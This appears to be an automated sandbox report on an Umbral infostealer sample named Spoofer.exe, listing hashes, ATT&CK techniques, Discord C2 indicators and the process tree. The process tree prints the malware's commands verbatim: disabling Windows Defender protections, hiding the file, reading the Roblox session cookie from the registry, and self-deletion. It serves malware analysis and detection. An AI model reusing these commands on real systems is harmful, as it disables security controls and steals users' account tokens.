umbral | e6ce3dd93c2d407085ea10bb6f22bd89a34e7fff719e5579ee47f4f2fdaed921

Analysis

max time kernel
144s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
06/02/2024, 09:40

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General

Target

Spoofer.exe
Size

231KB
MD5

c964c96a473bbd29377a62c0d6e1d100
SHA1

879c4eebdfce76f13a2be8209c5b1ce3676152ef
SHA256

e6ce3dd93c2d407085ea10bb6f22bd89a34e7fff719e5579ee47f4f2fdaed921
SHA512

36e472d0b7d34a3b9968eb4c540cf839592df4b1147c1063fd0be4b72748cd48c0d8d46ef5cb6949932844951cd2f2dc5de7fdecbc98fc232958fe285813cf95
SSDEEP

6144:xloZM9rIkd8g+EtXHkv/iD4085oBPUon6WvRsY9+N0C8e1mkHi:DoZOL+EP8085oBPUon6WvRsY9eHC

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2440-0-0x000002419F560000-0x000002419F5A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Spoofer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1480	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4296	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2404	powershell.exe
2404	powershell.exe
4640	powershell.exe
4640	powershell.exe
680	powershell.exe
680	powershell.exe
1244	powershell.exe
1244	powershell.exe
2572	powershell.exe
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2440	Spoofer.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	wmic.exe
Token: SeSecurityPrivilege	3484	wmic.exe
Token: SeTakeOwnershipPrivilege	3484	wmic.exe
Token: SeLoadDriverPrivilege	3484	wmic.exe
Token: SeSystemProfilePrivilege	3484	wmic.exe
Token: SeSystemtimePrivilege	3484	wmic.exe
Token: SeProfSingleProcessPrivilege	3484	wmic.exe
Token: SeIncBasePriorityPrivilege	3484	wmic.exe
Token: SeCreatePagefilePrivilege	3484	wmic.exe
Token: SeBackupPrivilege	3484	wmic.exe
Token: SeRestorePrivilege	3484	wmic.exe
Token: SeShutdownPrivilege	3484	wmic.exe
Token: SeDebugPrivilege	3484	wmic.exe
Token: SeSystemEnvironmentPrivilege	3484	wmic.exe
Token: SeRemoteShutdownPrivilege	3484	wmic.exe
Token: SeUndockPrivilege	3484	wmic.exe
Token: SeManageVolumePrivilege	3484	wmic.exe
Token: 33	3484	wmic.exe
Token: 34	3484	wmic.exe
Token: 35	3484	wmic.exe
Token: 36	3484	wmic.exe
Token: SeIncreaseQuotaPrivilege	3484	wmic.exe
Token: SeSecurityPrivilege	3484	wmic.exe
Token: SeTakeOwnershipPrivilege	3484	wmic.exe
Token: SeLoadDriverPrivilege	3484	wmic.exe
Token: SeSystemProfilePrivilege	3484	wmic.exe
Token: SeSystemtimePrivilege	3484	wmic.exe
Token: SeProfSingleProcessPrivilege	3484	wmic.exe
Token: SeIncBasePriorityPrivilege	3484	wmic.exe
Token: SeCreatePagefilePrivilege	3484	wmic.exe
Token: SeBackupPrivilege	3484	wmic.exe
Token: SeRestorePrivilege	3484	wmic.exe
Token: SeShutdownPrivilege	3484	wmic.exe
Token: SeDebugPrivilege	3484	wmic.exe
Token: SeSystemEnvironmentPrivilege	3484	wmic.exe
Token: SeRemoteShutdownPrivilege	3484	wmic.exe
Token: SeUndockPrivilege	3484	wmic.exe
Token: SeManageVolumePrivilege	3484	wmic.exe
Token: 33	3484	wmic.exe
Token: 34	3484	wmic.exe
Token: 35	3484	wmic.exe
Token: 36	3484	wmic.exe
Token: SeIncreaseQuotaPrivilege	4648	wmic.exe
Token: SeSecurityPrivilege	4648	wmic.exe
Token: SeTakeOwnershipPrivilege	4648	wmic.exe
Token: SeLoadDriverPrivilege	4648	wmic.exe
Token: SeSystemProfilePrivilege	4648	wmic.exe
Token: SeSystemtimePrivilege	4648	wmic.exe
Token: SeProfSingleProcessPrivilege	4648	wmic.exe
Token: SeIncBasePriorityPrivilege	4648	wmic.exe
Token: SeCreatePagefilePrivilege	4648	wmic.exe
Token: SeBackupPrivilege	4648	wmic.exe
Token: SeRestorePrivilege	4648	wmic.exe
Token: SeShutdownPrivilege	4648	wmic.exe
Token: SeDebugPrivilege	4648	wmic.exe
Token: SeSystemEnvironmentPrivilege	4648	wmic.exe
Token: SeRemoteShutdownPrivilege	4648	wmic.exe
Token: SeUndockPrivilege	4648	wmic.exe
Token: SeManageVolumePrivilege	4648	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 4372	2440	Spoofer.exe	31
PID 2440 wrote to memory of 4372	2440	Spoofer.exe	31
PID 2440 wrote to memory of 2404	2440	Spoofer.exe	29
PID 2440 wrote to memory of 2404	2440	Spoofer.exe	29
PID 2440 wrote to memory of 4640	2440	Spoofer.exe	35
PID 2440 wrote to memory of 4640	2440	Spoofer.exe	35
PID 2440 wrote to memory of 680	2440	Spoofer.exe	37
PID 2440 wrote to memory of 680	2440	Spoofer.exe	37
PID 2440 wrote to memory of 1244	2440	Spoofer.exe	42
PID 2440 wrote to memory of 1244	2440	Spoofer.exe	42
PID 2440 wrote to memory of 3484	2440	Spoofer.exe	98
PID 2440 wrote to memory of 3484	2440	Spoofer.exe	98
PID 2440 wrote to memory of 4648	2440	Spoofer.exe	107
PID 2440 wrote to memory of 4648	2440	Spoofer.exe	107
PID 2440 wrote to memory of 1704	2440	Spoofer.exe	100
PID 2440 wrote to memory of 1704	2440	Spoofer.exe	100
PID 2440 wrote to memory of 2572	2440	Spoofer.exe	103
PID 2440 wrote to memory of 2572	2440	Spoofer.exe	103
PID 2440 wrote to memory of 1480	2440	Spoofer.exe	104
PID 2440 wrote to memory of 1480	2440	Spoofer.exe	104
PID 2440 wrote to memory of 4416	2440	Spoofer.exe	110
PID 2440 wrote to memory of 4416	2440	Spoofer.exe	110
PID 4416 wrote to memory of 4296	4416	cmd.exe	108
PID 4416 wrote to memory of 4296	4416	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4372	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\Spoofer.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Spoofer.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Spoofer.exe"
  2⤵
  - Views/modifies file attributes
  PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1244
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3484
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2572
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1480
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Spoofer.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4416

C:\Windows\system32\PING.EXE
ping localhost
1⤵
- Runs ping.exe
PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
23272afe282560b0a5abad03e415e79b

SHA1
d24997643237343f0db0d9ab70e445450c70c795

SHA256
b3e29a57ee8c2da3dd7df14e6fd34632246e41950f3efd9ce9d35f1797ece1c9

SHA512
bc013bbd6083ef858570cdcdc89f761177f298cc394a0acfc553b2decc61e056459a539037ed67af13c2c4851e20d8df92a1c23d3d0b818a2e585506f28053c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3bx4ffqo.tnz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/680-64-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/680-62-0x0000025A0D0B0000-0x0000025A0D0C0000-memory.dmp

Filesize
64KB

Download
memory/680-40-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/680-42-0x0000025A0D0B0000-0x0000025A0D0C0000-memory.dmp

Filesize
64KB

Download
memory/680-41-0x0000025A0D0B0000-0x0000025A0D0C0000-memory.dmp

Filesize
64KB

Download
memory/1244-80-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/1244-75-0x0000020F7AD00000-0x0000020F7AD10000-memory.dmp

Filesize
64KB

Download
memory/1244-77-0x0000020F7AD00000-0x0000020F7AD10000-memory.dmp

Filesize
64KB

Download
memory/1244-70-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2404-12-0x0000024DEC0C0000-0x0000024DEC0E2000-memory.dmp

Filesize
136KB

Download
memory/2404-18-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2404-15-0x0000024DEB130000-0x0000024DEB140000-memory.dmp

Filesize
64KB

Download
memory/2404-14-0x0000024DEB130000-0x0000024DEB140000-memory.dmp

Filesize
64KB

Download
memory/2404-13-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2440-82-0x00000241A1220000-0x00000241A122A000-memory.dmp

Filesize
40KB

Download
memory/2440-83-0x00000241A12C0000-0x00000241A12D2000-memory.dmp

Filesize
72KB

Download
memory/2440-105-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2440-39-0x00000241A11F0000-0x00000241A120E000-memory.dmp

Filesize
120KB

Download
memory/2440-38-0x00000241A1270000-0x00000241A12C0000-memory.dmp

Filesize
320KB

Download
memory/2440-37-0x00000241B9D00000-0x00000241B9D76000-memory.dmp

Filesize
472KB

Download
memory/2440-2-0x000002419F9D0000-0x000002419F9E0000-memory.dmp

Filesize
64KB

Download
memory/2440-0-0x000002419F560000-0x000002419F5A0000-memory.dmp

Filesize
256KB

Download
memory/2440-79-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2440-1-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2572-98-0x0000023DFBBB0000-0x0000023DFBBC0000-memory.dmp

Filesize
64KB

Download
memory/2572-97-0x0000023DFBBB0000-0x0000023DFBBC0000-memory.dmp

Filesize
64KB

Download
memory/2572-100-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/2572-96-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/4640-34-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/4640-30-0x00007FFB946C0000-0x00007FFB95181000-memory.dmp

Filesize
10.8MB

Download
memory/4640-31-0x0000019D26890000-0x0000019D268A0000-memory.dmp

Filesize
64KB

Download
memory/4640-32-0x0000019D26890000-0x0000019D268A0000-memory.dmp

Filesize
64KB

Download